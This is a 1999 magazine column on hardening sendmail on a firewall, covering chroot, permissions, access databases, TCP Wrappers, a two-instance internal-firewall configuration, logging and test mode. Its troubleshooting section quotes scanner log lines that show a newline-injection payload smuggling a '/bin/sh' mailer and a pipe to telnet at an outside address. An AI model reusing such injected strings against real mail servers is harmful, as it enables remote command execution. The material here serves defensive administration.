HostedDB - Dedicated UNIX Servers

-->
Setting up sendmail on a firewall, Part 3 - SunWorld - June 1999

Setting up sendmail on a firewall, Part 3

Learn about special situations and testing techniques


Abstract
Carole's previous two columns on sendmail 8.9.3 explained the new features available and described how to build the binary and configuration files. This final part covers installation, optional features, and testing techniques. An example of configurations for a special situation is described. (4,400 words)

This is the final installment of my three-part series on secure sendmail installations. There's plenty more to say, of course, but I don't want to turn this into a Wizard's Guide to Sendmail column.

To paraphrase an old saying, an example is worth a thousand words. This month, I'll elaborate on some optional features of sendmail and give an example of a configuration I have used. This example worked for me, though I am by no means stating that it is the best or only solution to the problem. It is merely a solution that I successfully implemented. Hopefully, you can learn something from it. If you have a better way of solving the same problem, just send me mail and I'll post it. I'm always interested in learning something new. I'll also cover some testing and debugging techniques that might be useful.

Putting it into production
Several years ago, a friend of mine built a sendmail configuration for a firewall, but left the company before it was put into production. The administrator who took over the system did not realize that the intention was to run sendmail in a restricted (chrooted) environment with no root privileges. When the firewall was put into production, it was quickly hacked because sendmail was not installed properly.

Where to install
I like to use chroot to create a restricted padded cell to isolate sendmail from the rest of the system. (See my January 1999 column, "Creating a basic padded cell".) Using chroot is no guarantee of security, but it does limit exposures. If it is used in combination with tight permissions, it provides an effective security barrier.

For the sake of argument, let's say that the root of the cell is a filesystem called /sendmail_cell that is mounted "nosuid". Normally, on Solaris, the sendmail binary is installed in /usr/lib/sendmail and the configuration file is in /etc/mail/sendmail. Since the configuration file used to be in /etc, I put in a symbolic link from /etc/sendmail.cf to /etc/mail/sendmail.cf. Because we're using a padded cell here, it will be in /sendmail_cell/usr/lib/sendmail and /sendmail_cell/etc/mail/sendmail.cf. The startup script (/etc/rc2.d/S88sendmail on Solaris) is modified to start sendmail with chroot. At the beginning of the startup file, define a variable for the padded cell directory:

PADDED_CELL=/sendmail_cell

Preface all paths with the padded cell variable as in:

(text deleted)

if [ -f ${PADDED_CELL}/usr/lib/sendmail -a -f ${PADDED_CELL}/etc/mail/se
ndmail.cf ]; then
	if [ -d ${PADDED_CELL}/var/spool/mqueue ]; then
		(cd ${PADDED_CELL}/var/spool/mqueue; rm -f nf* lf*)
else
		mkdir ${PADDED_CELL}/var/spool/mqueue
		chown root ${PADDED_CELL}/var/spool/mqueue
		chgrp staff ${PADDED_CELL}/var/spool/mqueue
		chmod 750 ${PADDED_CELL}/var/spool/mqueue
	fi
	/usr/sbin/chroot ${PADDED_CELL} /usr/lib/sendmail -bd -q15m;
	fi

(more text deleted)

Permissions
Sendmail will complain about directory permissions until you fix them:

chmod  go-w   /   /etc   /etc/mail   /usr   /var   /var/spool   /var/spool/mqueue
chown   root   /   /etc   /etc/mail   /usr   /var   /var/spool   /var/spool/mqueue

See the README file in the top sendmail distribution directory for a more complete explanation.

If you are using a padded cell, preface each directory above with the name of the cell known to the system, as in /sendmail_cell, /sendmail_cell/etc/mail, and so on.

I shouldn't even have to say this, but make sure the sendmail.cf file is not world writeable. In fact, it should not be world readable either unless you're running a POP or IMAP server on the firewall. I have mine owned by root and only readable by root:

-r--------   1 root     bin        27626 Mar 19 12:59 /etc/mail/sendmail.cf

The most common misconception about sendmail is that the binary has to run setuid to root. While this is true on an internal mail host, it is not true on a firewall. Because there are no users actually receiving mail on the firewall, sendmail does not need to read users' home directories to look for .forward or vacation files. Therefore, it does not need to be setuid to root:

-rwxr-xr-x   1 root     other     343846 Apr 16  1998 sendmail

Security in the configuration file
By default, the sendmail configuration file sets options such as file creation mode (O TempfileMode=600) to be secure. Do not change these without understanding the consequences. You may want to turn off vrfy and expn to prevent someone from trying to verify valid user IDs on the system. Of course, if you're using chroot to run sendmail in a cell, the copy of the passwd file that is in the cell should not be the real one. In my recent "Audits from Hell" column, I used this fact to have a little fun with the penetration team. They usually get the name of the site contact and try a combination to find out the user ID. In this example, assume that "Carole Fennelly" and "Jon Klein" are in the WHOIS database -- juvenile, I know, but fun:

root:x:0:1:Welcome Penetration Test Team!:/:/sbin/sh
daemon:x:1:1::/:
bin:x:2:2::/usr/bin:
sys:x:3:3::/:
adm:x:4:4:Admin:/var/adm:
smtp:x:0:0:Mail Daemon User:/:
listen:x:37:4:Network Admin:/usr/net/nls:
nobody:x:60001:60001:Give up!:/:
noaccess:x:60002:60002:No Access User:/:
nobody4:x:65534:65534:SunOS 4.x Nobody:/:
fennelly:x:7000:7000: Carole doesn't live here. Good try though:/tmp:/usr/local/
etc/noshell
cfennell:x:7001:7001: We don't let Carole out during the day. Try at night:/tmp:/
usr/local/etc/noshell
jklein:x:7001:7001:We don't let Jon out at all. He bites:/tmp:/usr/local/etc/n
oshell

A vrfy on the SMTP port yields:

vrfy root
250 Welcome Penetration Test Team! vrfy cfennell
250 We don't let Carole out during the day. Try at night. <cfennelly@company.com> vrfy jklein
250 We don't let Jon out at all. He bites. <jklein@company.com>

Anyway, if you want to turn off vrfy and expn, put the following line in your m4 configuration file. (I used firebox.mc in my example last month):

define(`confPRIVACY_FLAGS', `noexpn,novrfy')

The access database
The access database provides the administrator with a mechanism to set up specific access lists to control the sender and relayers of mail. It provides more granularity than the sender/relayer rules.

An access database is an ASCII file that is converted into a database that is in dbm format (ndbm), hash, or btree format (Berkeley DB). It is up to the reader to decide which database to use. For the purposes of this article, we are using a dbm database.

A database record consists of two parts: the key and the action. The key can be a user name, domain name, or network address. The action could be OK, RELAY, REJECT, DISCARD or an RFC821 message. Below is a sample access database list taken from the README file in sendmail-8.9.3/cf.

cyberspammer.com        			550 We don't accept mail from spammers
okay.cyberspammer.com  		 	OK
sendmail.org          		  	OK
128.32					RELAY

Additionally, we will add a few more records:

foobar.com				REJECT
garbage@spam.org			DISCARD

In the above examples, mail coming from cyberspammer.com is rejected, and the 550 message is sent back to the originator. However, if the mail comes from host okay.cyberspammer.com, then the mail is accepted. Mail from sendmail.org is accepted. Mail from any host in the 128.32 class B is allowed for relay (and thus is accepted as OK). Mail from foobar.com is rejected and sender gets an access denied message. Mail from garbage@spam.org is accepted from the sender's perspective but is actually thrown away by the recipient mailer. The sender thinks that mail was sent satisfactorily when in fact it was not.

To enable the access database, add to your .mc file:

FEATURE(`access_db')dnl

This will create an entry in the .cf file to use the hash database:

Kaccess hash -o  /etc/mail/access

To override this, you can add a second parameter to the feature. In our case, we want to use a dbm type database so we would enter:

FEATURE(`access_db',`dbm -o /etc/mail/access')dnl

The -o option specifies that the map is optional. (If it can't be opened it will be ignored.) If it's important that the access database be used, don't specify -o. This will create an entry in the sendmail .cf file in the form:

Kaccess dbm -o /etc/mail/aliases

Remember, that you must build and use the makemap command to generate the access database. For our example, we had a source list called /etc/mail/access.list. By running the command

makemap dbm /etc/mail/access < /etc/mail/access.list

we would generate an access.dir and access.pag in the /etc/mail directory. This is the file that sendmail will use for the database.

Here is a test with our sample access database:

220 mgate.wkeys.com ESMTP Sendmail 8.9.3/8.9.3; Sun, 23 May 1999 21:53:13 -0400 (
EDT)
helo wkeys.com
250 mgate.wkeys.com Hello merlin.wkeys.com [190.70.70.50], pleased to meet you
mail from: <klein@cyberspammer.com>
550 <klein@cyberspammer.com>... We don't accept mail from spammers mail from: <klein@foobar.com>
550 <klein@foobar.com>... Access denied mail from: <klein@okay.cyberspammer.com>
250 <klein@okay.cyberspammer.com>... Sender ok rcpt to: <klein@wkeys.com>
250 <klein@wkeys.com>... Recipient ok data
354 Enter mail, end with "." on a line by itself test .
250 VAA07870 Message accepted for delivery quit
221 mgate.wkeys.com closing connection 220 mgate.wkeys.com ESMTP Sendmail 8.9.3/8.9.3; Sun, 23 May 1999 21:54:08 -0400 ( EDT) helo wkeys.com
250 rahl.wkeys.com Hello merlin.wkeys.com [190.70.70.50], pleased to meet you mail from: <garbage@spam.org>
250 <garbage@spam.org>... Sender ok rcpt to: <klein@wkeys.com>
250 <klein@wkeys.com>... Recipient ok data
354 Enter mail, end with "." on a line by itself test .
250 VAA07876 Message accepted for delivery quit
221 mgate.wkeys.com closing connection

Here is the log file information on the test:

May 23 21:53:26 mgate sendmail[7868]: VAA07868: from=klein@cyberspammer.com,  size=0, class=0, 
pri=0, nrcpts=0, proto=SMTP, relay=merlin.wkeys.com [190.70.70.50]
May 23 21:53:34 mgate sendmail[7869]: VAA07869: ruleset=check_mail, arg1=klein@fo
obar.com, relay=merlin.wkeys.com [190.70.70.50], reject=550 klein@foobar.com.. Access denied
May 23 21:53:34 mgate sendmail[7869]: VAA07869: from=klein@foobar.com, size=0, cl
ass=0, pri=0, nrcpts=0, proto=SMTP, relay=merlin.wkeys.com [190.70.70.50]
May 23 21:53:59 mgate sendmail[7870]: VAA07870: from=klein@okay.cyberspammer.com,
 size=5, class=0, pri=30005, nrcpts=1, msgid=<199905240153.VAA07870@mgate.wkeys.c
om>, proto=SMTP, relay=merlin.wkeys.com [190.70.70.50]
May 23 21:53:59 mgate sendmail[7871]: VAA07870: to=klein@wkeys.com, delay=00:00:0
7, xdelay=00:00:00, mailer=local, stat=Sent
May 23 21:54:18 mgate sendmail[7875]: VAA07875: ruleset=check_mail, arg1=klein@fo
obar.com, relay=merlin.wkeys.com [190.70.70.50], reject=550 klein@foobar.com..
. Access denied
May 23 21:54:18 mgate sendmail[7875]: VAA07875: from=klein@foobar.com, size=0, cl
ass=0, pri=0, nrcpts=0, proto=SMTP, relay=merlin.wkeys.com [190.70.70.50]
May 23 21:54:29 mgate sendmail[7876]: VAA07876: ruleset=check_mail, arg1=garbage@
spam.org, relay=merlin.wkeys.com [190.70.70.50], discard
May 23 21:54:36 mgate sendmail[7876]: VAA07876: from=garbage@spam.org, size=5, cl
ass=0, pri=30005, nrcpts=1, msgid=<199905240154.VAA07876@mgate.wkeys.com>, proto=
SMTP, relay=merlin.wkeys.com [190.70.70.50]
May 23 21:54:36 mgate sendmail[7876]: VAA07876: discarded

TCP Wrappers
Sendmail supports the use of TCP Wrappers. (The current version is tcp_wrappers 7.6, available from ftp://ftp.cert.org/pub/tools/tcp_wrappers/.) In your site configuration file, /usr/local/src/sendmail-8.9.3/BuildTools/Site/site.config.m4, add the following:

APPENDDEF(`confENVDEF', `-DTCPWRAPPERS')
APPENDDEF(`confINCDIRS',`-I/usr/local/include')
APPENDDEF(`confLIBS', `-lwrap')
APPENDDEF(`confLIBDIRS',`-L/usr/local/lib')

You must have previously installed libwrap.a and tcpd.h into a system library and include directory, respectively. Once this is done, you can build sendmail. To use the feature, enter a service name of sendmail in /etc/hosts.allow or /etc/hosts.deny. If a connection is denied, the machine will still be able to create the connection, but all command requests will generate an "access denied" message for the user and a rejection message in the server's log file.

In this example, we have set up a host access list that allows firebox but not merlin. First, here's the output from firebox, and then merlin:

220 mgate.wkeys.com ESMTP Sendmail 8.9.3/8.9.3; Sun, 23 May 1999 21:40:21 -0400 (
EDT)
helo wkeys.com
250 mgate.wkeys.com Hello firebox.wkeys.com [190.70.70.20], pleased to meet you vrfy root
250 Super-User <root@mgate.wkeys.com> mail from: <klein@wkeys.com>
250 <klein@wkeys.com>... Sender ok rcpt to: <klein@wkeys.com>
250 <klein@wkeys.com>... Recipient ok data
354 Enter mail, end with "." on a line by itself .
250 VAA07830 Message accepted for delivery quit
221 mgate.wkeys.com closing connection

On mgate, the log file has the following:

May 23 21:40:29 mgate sendmail[7829]: NOQUEUE: firebox.wkeys.com [190.70.70.20]:
 vrfy root
May 23 21:40:51 mgate sendmail[7830]: VAA07830: from=klein@wkeys.com, size=5, cla
ss=0, pri=30005, nrcpts=1, msgid=<199905240140.VAA07830@mgate.wkeys.com>, proto=S
MTP, relay=firebox.wkeys.com [190.70.70.20]
May 23 21:40:52 mgate sendmail[7833]: VAA07830: to=klein@wkeys.com, ctladdr=klein
@wkeys.com (1002/10), delay=00:00:10, xdelay=00:00:00, mailer=local, stat=Sent

From merlin, we have the following:

220 mgate.wkeys.com ESMTP Sendmail 8.9.3/8.9.3; Sun, 23 May 1999 21:42:24 -0400 (
EDT)
helo wkeys.com
250 mgate.wkeys.com Hello merlin.wkeys.com [190.70.70.50], pleased to meet you vrfy root
550 Access denied mail from: <klein@wkeys.com>
550 Access denied rcpt to: <klein@wkeys.com>
550 Access denied data
550 Access denied .
550 Access denied quit
221 mgate.wkeys.com closing connection

And mgate has the following in its log:

May 23 21:42:24 mgate sendmail[7840]: tcpwrappers (merlin.wkeys.com, 190.70.70.50) rejection
May 23 21:42:44 mgate sendmail[7840]: NOQUEUE: Null connection from merlin.wkeys.com 
[190.70.70.50]


Example of a sendmail configuration
I think the best way to explain this example is to describe a problem that I once tried to solve, followed by the eventual solution. As I've learned more about sendmail, my solutions have changed to reflect what I've learned. Consequently, they may change again as I continue to learn new or better ways to do things.

The problem:
There are two organizations (let's say ORG1 and ORG2) in the same company (company.com) that are separated by an internal firewall (int_fw.company.com). This company has not implemented sub-domains (both sides are company.com -- don't ask). ORG1 has an internal mail host called mgate_org1.company.com with an IP address of 10.11.12.13. All external mail comes in through the ORG1 side, which is running a proprietary mail solution. ORG2 has an internal mail host with an address of 190.70.60.50 that is called mgate_org2.company.com and is running sendmail.

Life would be much easier if sub-domaining had been used, but it wasn't. ORG2 has its mail configured to deliver the mail locally if it is in the domain company.com and to send it to the external firewall if it is not. The problem arose when ORG2 wanted to be able to send mail to users in ORG1. ORG1 has to maintain a database listing each user and their address. Yuck. They are both company.com. We didn't want to maintain an alias file for every user in the company for ORG2. The mail gateway in ORG2 (mgate_org2.company.com) knows who its users are from the master passwd file and can be configured to relay to the internal firewall all unknown local users (see the "mgate_org2.mc" listing). However, the internal firewall (int_fw.company.com) has no way of distinguishing who is a user for ORG1 and who is a user for ORG2.

The solution:
One possible solution is to have the internal firewall maintain two files that list the users for the respective organizations. But this is a maintenance nightmare that we wanted to avoid. The solution I used is a bit strange (suggested by my partner Jon, who is also a bit strange), but it works.

Basically, the internal firewall (int_fw.company.com) has two instances of sendmail running, each listening on separate interfaces for the two networks. Remember, this is a firewall with two interface cards: one for the 10.11.12 net (let's say with the address of 10.11.12.14) and the other for the 190.70.60 net (say, 190.70.60.40). Each instance of sendmail will have its own configuration file. The configuration file that listens on the 10.11.12.14 interface will forward all the mail it gets to mgate_org2.company.com. The configuration file that listens on the 190.70.60.40 interface will forward all the mail it gets to mgate_org1.company.com. Each configuration keeps separate queue and alias files (see the "int_fw_from_org1.mc" and "int_fw_from_org2.mc" listings).

Logging and troubleshooting
Sendmail uses the syslog utility to log information based on the LogLevel option defined in the sendmail.cf file. By default, the LogLevel option is set to 9, and log information is appended to /var/log/syslog. I use the default LogLevel, but change /etc/syslog.conf so that sendmail data is stored in a separate file, /var/log/mail.log. (Don't forget the tab between mail.debug and ifdef.)

mail.debug                      ifdef(`LOGHOST', /var/log/mail.log, @loghost)

For more details on sendmail logging and syslog, see Chapter 26 of Sendmail -- 2nd edition by Bryan Costales.

The sendmail log file (in my case /var/log/mail.log) is very useful for debugging purposes. I usually run a tail -f on it when I'm installing a new configuration or troubleshooting a problem. Sendmail is pretty good about telling you if it's upset with something. Here are some samples from my firewall's log files:

This is a normal incoming mail message:

May 23 15:56:52 firebox sendmail[12211]: PAA12211: from=<merlin@feline.com>, si
ze=1895, class=0, pri=31895, nrcpts=1, msgid=<02d1f0156191759CPIMSSMTPU02@email.
feline.com>, proto=ESMTP, relay=cpimssmtpu02.email.feline.com [123.45.67.8]
May 23 15:56:53 firebox sendmail[12213]: PAA12211: to=<fennelly@wkeys.com>, dela
xdelay=00:00:00, mailer=smtp, relay=mgate.wkeys.com. [190.9.10.11],
stat=Sent (PAA04928 Message accepted for delivery)

I changed names and IP addresses in this example, but this shows incoming mail from the user merlin at the domain feline.com (IP address 123.45.67.8) with the message ID PAA12211. Another sendmail kicks off to send the mail to its destination user, fennelly, via the wkeys.com relay system mgate.wkeys.com (IP 190.9.10.11). The important piece here is the stat=Sent. If you have users complaining about mail not getting through, search your log file for stat=Deferred. If it's only a few sites, the problem is probably at their end. If it's everything, you're going to have a bad day.

This next example from the logs looks like a nasty hacker attack from attrition.org -- a site that is associated with hacking:

May 21 18:23:18 firebox sendmail[8929]: NOQUEUE: POSSIBLE ATTACK from attrition.
org: newline in string "culthero "
May 21 18:23:19 firebox sendmail[8930]: SAA08930: from=<jericho@attrition.org>,
size=876, class=0, pri=30876, nrcpts=1, msgid=<Pine.LNX.3.96.990521151311.6238O-
100000@forced.attrition.org>, proto=ESMTP, relay=culthero@attrition.org [128.11.
253.197]
May 21 18:23:20 firebox sendmail[8932]: SAA08930: to=<fennelly@wkeys.com>, delay
=00:00:02, xdelay=00:00:01, mailer=smtp, relay=mgate.wkeys.com. [190.80.70.7],
stat=Sent (SAA04517 Message accepted for delivery)

Indeed, the first time I saw this I followed up by sending mail to the site's administrator (with the lines from my log file) requesting help in tracking this down. After several e-mails back and forth, it turned out that sendmail was not happy about some custom headers at the attrition.org site, although it allowed the mail to go through. It was not an actual attack, and in fact shows up every time I get mail from that site. I was glad I had not jumped to the conclusion that I was being attacked. (See link to "Chain of Command" article in the Resources section below.) Keep in mind that just because the log says something may be an attack, it may not be malicious at all. Here are some that were attacks using ISS Scanner:

Mar 21 13:52:31 dummyname.org sendmail[6560]: NOQUEUE: POSSIBLE ATTACK f
rom ip192.isdn5.new-york4.ny.psi.net: newline in string "iss  Croot  Mprog, P=/b
in/sh, F=lsDFMeu, A=sh -c $u  Mlocal, P=/bin/sh, F=lsDFMeu, A=sh -c $u  R<"|/...
 Vulnerable | mail postmaster@dummyname.org">  R<"|( sleep 2 ; echo quit ) |teln
et 0.12.253.120 5701"
Mar 21 13:52:52 dummyname.org sendmail[6568]: NOQUEUE: POSSIBLE ATTACK f
rom ip192.isdn5.new-york4.ny.psi.net: newline in string "iss  Croot  Mprog, P=/b
in/sh, F=lsDFMeu, A=sh -c $u  Mlocal, P=/bin/sh, F=lsDFMeu, A=sh -c $u  R<"|/...
g Vulnerable | mail postmaster@dummyname.org">  R<"|( sleep 2 ; echo quit ) |tel
net 0.12.253.120 570"
Mar 21 14:01:26 dummyname sendmail[6947]: NOQUEUE: POSSIBLE ATTACK f
rom ip192.isdn5.new-york4.ny.psi.net: newline in string "iss  Croot  Mprog, P=/b
in/sh, F=lsDFMeu, A=sh -c $u  Mlocal, P=/bin/sh, F=lsDFMeu, A=sh -c $u  R<"|/...
 Vulnerable | mail postmaster@dummyname.org">  R<"|( sleep 2 ; echo quit ) |teln
et 0.12.253.120 5701"

This next item seems to be an attempt to send in mail from a non-existent domain:

May 22 02:02:26 firebox sendmail[9573]: CAA09573: ruleset=check_mail, arg1=<cdof
fer@apmail.com>, relay=promit@promit.im-www.com [192.41.27.132], reject=501 <cdo
ffer@apmail.com>... Sender domain must exist

In this case, DNS failed to find the domain apmail.com and rejected the mail. However, a subsequent check with nslookup showed that the domain did, in fact, exist. There may have been a temporary DNS problem for their particular site, although DNS was working everywhere else. If you have a site with persistent DNS problems, you may want to consider adding them to the access database as an exception.

Testing techniques
Chapter 38 of the Sendmail book describes in wonderfully gory detail all the testing techniques for sendmail. I encourage anyone who wants to learn more (including me!) to try the techniques described. Chapter 37 is devoted to all the debugging options. Choose whichever suits you. Typically, I use the following:

/usr/lib/sendmail -bt -d35.9 -C/path/to/new/config/file.cf

This produces a lot of output, complete with all the macro definitions (see last month's column for an example). There are some pretty neat things you can do in test mode. At the > prompt, enter ?, and it should give you all the available functions. If it doesn't, make sure you've installed the sendmail.hf file:

# cd  /usr/local/src/sendmail/sendmail-8.9.3/src
# cp  sendmail.hf   /etc/mail
# /usr/lib/sendmail   -bt
> ?
Help for test mode:
?                :this help message.
.Dmvalue         :define macro `m' to `value'.
.Ccvalue         :add `value' to class `c'.
=Sruleset        :dump the contents of the indicated ruleset.
=M               :display the known mailers.
-ddebug-spec     :equivalent to the command-line -d debug flag.
$m               :print the value of macro $m.
$=c              :print the contents of class $=c.
/mx host         :returns the MX records for `host'.
/parse address   :parse address, returning the value of crackaddr, and
                  the parsed address (same as -bv).
/try mailer addr :rewrite address into the form it will have when
                  presented to the indicated mailer.
/tryflags flags  :set flags used by parsing.  The flags can be `H' for
                  Header or `E' for Envelope, and `S' for Sender or `R'
                  for Recipient.  These can be combined, `HR' sets
                  flags for header recipients.
/canon hostname  :try to canonify hostname.
/map mapname key :look up `key' in the indicated `mapname'.
rules addr       :run the indicated address through the named rules.
                  Rules can be a comma separated list of rules.
End of HELP info
>

Final thoughts
Hopefully, this series has shed some illumination on the murkiness of sendmail. Every time I work on a new configuration I swear "never again!" Yet I constantly discover something about sendmail that I can't do with other MTAs. If you'd like to use sendmail, but would like an easier interface, you may consider using the commercial product offered by Sendmail, Inc. Unlike some other open source software that has gone commercial and abandoned new releases for the free version, Sendmail, Inc. should be commended for supporting open source development.

I'd like to thank Greg Shapiro at sendmail.org for reviewing (and correcting!) this column and Jon Klein at Wizard's Keys Corp. for help with the access database and TCP Wrappers portions. Finally, much appreciation goes to Brian Martin at attrition.org for permitting me to publish actual log data.

Disclaimer: The information and software in this article are provided as-is and should be used with caution. Each environment is unique and the reader is cautioned to investigate with his or her company as to the feasibility of using the information and software in the article. No warranties, implied or actual, are granted for any use of the information and software in this article and neither author nor publisher is responsible for any damages, either consequential or incidental, with respect to use of the information and software contained herein.


Resources

Related SunWorld articles Additional sendmail resources Favorite links for the month Additional SunWorld resources

About the author
Carole Fennelly is a partner in Wizard's Keys Corporation, a company specializing in computer security consulting. She has been a Unix system administrator for more than 15 years on various platforms and has particularly focused on sendmail configurations of late. Carole provides security consultation to several financial institutions in the New York City area.

If you have technical problems with this magazine, contact webmaster@sunworld.com

URL: http://www.sunworld.com/swol-06-1999/swol-06-security.html
Last modified: Wednesday, June 02, 1999

mgate_org2.mc

[Copyright message from Eric Allman]
divert(0)dnl
VERSIONID(`@(#)mgate_org2.mc  8.9.3 (Company) 5/21/1999')
OSTYPE(solaris2)dnl
DOMAIN(generic)dnl
FEATURE(nouucp)dnl
MASQUERADE_AS(company.com)dnl
FEATURE(`masquerade_envelope')dnl
FEATURE(`relay_entire_domain')dnl
define(`SMTP_MAILER_FLAGS', `c')dnl
define(`LUSER_RELAY', `int_fw.company.com')dnl
MAILER(local)dnl
MAILER(smtp)dnl
LOCAL_RULE_0
# if it's for the external list server, send it to the firewall
R$+<@listserver.$={MyDom}.>     $#smtp $@firebox.company.com $:$1<@listserver.$2>
#if it's in my domain, process it locally
R$+ < @ $* $={MyDom}. > $#local $: $1
# otherwise, send it to the firewall -cbf
R$+  <  @  $+ >    $#smtp   $@firebox.company.com   $:$1 < @ $2 >
LOCAL_CONFIG
C{MyDom}company.com

Return to article

int_fw_from_org1.mc

[Copyright message from Eric Allman]
divert(0)dnl
VERSIONID(`@(#)int_fw_from_org1.mc     8.9.3 (Wizard's Keys) 4/14/1999')
OSTYPE(solaris2)dnl
DOMAIN(generic)dnl
FEATURE(nouucp)dnl
FEATURE(always_add_domain)dnl
FEATURE(allmasquerade)
FEATURE(masquerade_entire_domain)
FEATURE(masquerade_envelope)
FEATURE(accept_unresolvable_domains)
define(`LUSER_RELAY', `mgate_org2.company.com)dnl
FEATURE(`smrsh', `/usr/local/etc/smrsh')dnl
MASQUERADE_AS(company.com)dnl
define(`SMTP_MAILER_FLAGS', `c')dnl
define(`confDAEMON_OPTIONS',`Addr=10.11.12.14')dnl
define(`SMART_HOST', smtp:mgate_org2.company.com)dnl
define(`QUEUE_DIR',`/var/spool/mqueue_fr_org1')dnl
define(`ALIAS_FILE',`/etc/mail/aliases_fr_org1')dnl
MAILER(local)dnl
MAILER(smtp)dnl
LOCAL_RULE_0
R$+  <  @  $*  $={MyDom}.  >    $#local $: $1
LOCAL_CONFIG
C{MyDom}company.com

Return to article

int_fw_from_org2.mc

[Copyright message from Eric Allman]
divert(0)dnl
VERSIONID(`@(#)int_fw_from_org2.mc     8.9.3 (Wizard's Keys) 4/14/1999')
OSTYPE(solaris2)dnl
DOMAIN(generic)dnl
FEATURE(nouucp)dnl
FEATURE(always_add_domain)dnl
FEATURE(allmasquerade)
FEATURE(masquerade_entire_domain)
FEATURE(masquerade_envelope)
FEATURE(accept_unresolvable_domains)
define(`LUSER_RELAY', `mgate_org1.company.com)dnl
FEATURE(`smrsh', `/usr/local/etc/smrsh')dnl
MASQUERADE_AS(company.com)dnl
define(`SMTP_MAILER_FLAGS', `c')dnl
define(`confDAEMON_OPTIONS',`Addr=190.70.60.40)dnl
define(`SMART_HOST', smtp:mgate_org1.company.com)dnl
define(`QUEUE_DIR',`/var/spool/mqueue_fr_org2')dnl
define(`ALIAS_FILE',`/etc/mail/aliases_fr_org2')dnl
MAILER(local)dnl
MAILER(smtp)dnl
LOCAL_RULE_0
R$+  <  @  $*  $={MyDom}.  >    $#local $: $1
LOCAL_CONFIG
C{MyDom}company.com